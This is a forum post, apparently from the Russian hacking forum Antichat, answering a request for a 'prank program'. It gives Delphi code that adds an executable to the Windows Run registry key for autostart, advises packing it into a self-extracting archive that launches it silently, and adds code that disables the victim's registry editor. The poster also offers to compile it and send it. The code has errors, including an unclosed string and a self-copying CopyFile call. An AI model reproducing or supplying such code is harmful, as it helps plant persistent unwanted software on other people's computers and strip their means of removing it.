Форум АНТИЧАТ - Показать сообщение отдельно - прога-прикол! Нужна помощь)))

Можно написать что-то типа того.

Код:

program project2;
uses
  Windows,
  registry;

var
  h: TRegistry;
begin
  h := TRegistry.Create;
  with h do
  begin
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', true);
    WriteString('имя программы, 'C:\windows\system32\ProgramName.exe');
    CloseKey;
    Free;
   end;
   CopyFile(PChar('ProgramName.exe'),PChar('ProgramName.exe'),true);
end.

Потом просто создать SFX архив, указать чтобы при распаковке архива запустиласть эта программка.
Можно еще доступ к реестру ему отключить, вставив это кусочек

Код:

H := TRegistry.Create;
   with H do
   begin
    RootKey := HKEY_CURRENT_USER;
    OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System', true);
    WriteInteger('DisableRegistryTools', 1);
    CloseKey;
    Free;
  end;

Если у тя нет Delphi, могу откомпилить и те отослать.